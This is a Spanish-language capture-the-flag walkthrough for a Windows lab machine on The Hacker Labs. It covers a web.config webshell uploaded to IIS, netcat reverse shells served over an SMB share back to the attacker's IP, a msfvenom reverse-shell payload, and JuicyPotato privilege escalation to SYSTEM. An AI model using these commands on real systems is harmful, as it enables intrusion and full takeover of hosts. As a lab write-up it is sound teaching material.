← Volver al inicio

Ensalá Papas - The Hacker Labs - Windows


Link Descarga

Plataforma: The Hacker Labs

OS: Windows

Reconocimiento

Para esta fase utilizaremos nuestra herramienta Auto-Recon (ahora escrita en Python) para automatizar esta fase y obtener un panorama general del objertivo.

Como vimos anteriormente, los puertos Microsoft Windows RPC, corresponden a puertos dinámicos del sistema.

Muestra superficie de ataque se centrará en los puertos:

  • 80 - HTTP
  • 135 - MSRPC
  • 139 - netbios-ssn
  • 445 - microsoft-ds?

Primero intentamos sobre el servicio SMB con smbclient

El servidor nos indica que a pesar de permite la autenticación anónima, ningún recurso es compartido para un usuario son privilegios.

Ya que no pudimos obtener información sobre este servicio, saltaremos al servicio web. Para esto realizaremos un escaneo de directorios más profundo con gobuster

gobuster dir -u http://192.168.192.167/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x aspx,asp,config,txt,ashx,bak -t 40

este nos devuelve un resultado con status: 200, y que al acceder a él, nos encontramos con un apartado que nos permite subir archivos al sistema.


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head id="Head1"><title>
	Secure File Transfer
</title></head>
<body>
    <form name="form1" method="post" action="zoc.aspx" id="form1" enctype="multipart/form-data">
<div>
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTI3ODM5MzQ0Mg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRk5pNq4Q7devvyM3GxLRlaUA6M4jU=" />
</div>

<div>

	<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEWAgLLh9lHAu3ehcwDrtsEqldhDeyFYsnf+IDJ2dFXnGU=" />
</div>
    <div>
        <input type="file" name="FileUpload1" id="FileUpload1" />
        <input type="submit" name="btnUpload" value="Upload" onclick="return ValidateFile();" id="btnUpload" />
        <br />
        <span id="Label1"></span>
    </div>
    </form>
</body>
</html>

Si analizamos el código fuente del formulario web, hay un detalle critico en la línea del botón de envío:

<input type="submit" name="btnUpload" value="Upload" onclick="return ValidateFile();" id="btnUpload" />

Existe una función JavaScript en el lado del cliente llamada ValidateFile() que se ejecuta justo cuando le hacemos clic a upload. Esta función es la encargada de verificar la extensión del archivo antes de enviarlo al servidor.

Como dato, también encontramos un comentario sobre el código fuente.

Podemos ver que esta ruta nos lleva a un archivo inexistente llamado web.config u luego de investigar un poco en la red, encontramos información por parte de hacktricks que nos puede servir.

ISS - Internet Information Service

Entonces…

Nuevamente luego de algunas pruebas fallidas con archivos .aspx, .php, .asp, etc. llegamos a este repositorio de GitHub

PayloadAllTheThings

Y justamente encontramos la configuración para una webshell para el servicio ISS.

Primero nos creamos el archivo web.config en nuestra máquina atacante, y pegamos el código que encontramos en PayloadAllTheThings, luego subimos el archivo al servidor ISS objetivo, y por último entramos a la ruta /Subiditosdetono/web.config y obtenemos la webshell funcional.

Ya que tenemos acceso al sistema vamos a hacer unos pasos para obtener una reverse shell directamente en nuestra terminal.

  1. Crearemos un recurso compartido con la herramienta impacket-smbserver para compartir el binario de netcat. Podemos encontrar el binario en el directorio /usr/share/windows-resources/binaries/nc.exe de nuestro Kali.

cp /usr/share/windows-resources/binaries/nc.exe .

  1. Creamos el recurso compartido

` impacket-smbserver -smb2support sharedFolder .`

  1. Ponemos en escucha con netcat por el puerto 443

rlwrap nc -lnvp 443

  1. Desde la webshell ejecutamos

\\<NUESTRA IP>\sharedFolder\nc.exe -e cmd <NUESTRA IP> 443

Explicación detallada de los pasos anteriores

Una Webshell básica puede resultar incómoda para trabajar de forma fluida. Para obtener una shell interactiva sin tener que guardar archivos sospechosos en el sistema de la víctima, se utiliza un binario a través de la red usando un recurso compartido SMB e invocarlo directamente en la memoria.

Kali linux tiene estos binarios que nos servirán para estos propósitos.

impacket-smbserver es una herramienta de Python que inicia un servidor SMB ligero. Al utilizar el argumento -smb2support, habilitamos el soporte para los protocolos SMB2/SMB3, esto es fundamental para que sistemas como Windows más recientes puedan conectarse sin problemas (ya que SMBv1 Windows lo bloquea por seguridad), sharedFolder es el nombre del recurso compartido que se publicará en la red, y el punto . es para indicarle que se compartirá el directorio actual donde se encuentra el archivo nc.exe (el que copiamos en el primer paso).

En nuestro sistema utilizamos rlwrap, un emulador de terminal que añade historial (con las flechas arriba y abajo) y un mejor manejo de caracteres que Netcat.

Invocación remota desde la Web Shell

\\<NUESTRA_IP>\sharedFolder\nc.exe -e cmd <NUESTRA_IP> 443

\\192.168.192.139\sharedFolder\nc.exe La máquina víctima accede a la ruta de red UNC del servidor SMB que creamos y carga en la memoria nc.exe

-e cmd, le indica a Netcat que redirija la interfaz de comandos de Windows (cmd.exe) a través del socket de red

192.168.192.139 443 establece la conexión saliente hacia la IP de la máquina de auditoría en el puerto 443 donde rlwrap nc está esperando por la conexión.

Explotación

Ya que estamos dentro de la máquina víctima tenemos acceso a algunos archivos de un usuario llamado info. La forma de verificar los privilegios de nuestro usuario es con el comando whoami /priv

si buscamos este privilegio encontramos esta información:

Para explotar este privilegio podemos utilizar la herramienta JuicyPotato

Descargar JuicyPotato

Ahora con el comando copy, nos copiaremos el archivo JuicyPotato.exe a la carpeta temporal de la víctima (debemos recordar que el archivo JuicyPotato debe estar en el directorio donde levantamos el servidor SMB con el archivo nc.exe.

Por último nos crearemos una reverse shell con nsfvenom y la copiaremos en la carpeta temporal igual que el archivo anterior.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.192.139 LPORT=4444 -f exe -o rshell.exe

Ponemos el puerto 4444 en escucha.

rlwrap nc -lnvp 4444

Para ejecutar JuicyPotato debemos agregarle algunos argumentos:

-l 1234 = Define el puerto de escucha. La herramienta levanta un servidor de autenticación en este puerto interno para interceptar la conexión.

-p rshell.exe = Especifica el programa o script a ejecutar.

-t * = Define el tipo de token a crear (CreateProcessWithToken o CreateProcessAsUserW) Le indica a JuicyPotato que prueba ambas funciones. para instanciar el nuevo proceso. Si una falla por restricciones de la cuenta, probará automáticamente la otra.

-c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} = Especifica el CLSID (Class ID) Es el identificador único de un objeto COM/DCOM específico del sistema Windows. JuicyPotato abusa de este CLSID para forzar al servicio subyacente a realizar la autenticación hacia el puerto configurado (1234)

Ver CLSID

JuicyPotato.exe -l 1234 -p rshell.exe -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}

Cómo funciona?

  1. Abuso de DCOM: JuicyPotato solicita al objeto COM (asociado al CLSID provisto) que instancie una interfaz.
  2. Redirección de Autenticación (Relay Local): Se fuerza al servicio COM (que corre bajo la cuenta NT AUTHORITY\SYSTEM) a autenticarse usando NTLM contra el puerto local 1234 que la herramienta está escuchando.
  3. Suplantación del Token: Gracias a que la cuenta web posee el derecho SeImpersonatePrivilege, la herramienta puede interceptar el token de SYSTEM que el servicio entregó durante la autenticación y asumir ese contexto de seguridad.
  4. Ejecución Privilegiada: Usando las funciones de la API de Windows (CreateProcessWithToken) crea un nuevo proceso rshell.exe, el cual se hereda con los privilegios totales del sistema operativo.

El resultado…

Una escalada de privilegios y el control total de la víctima.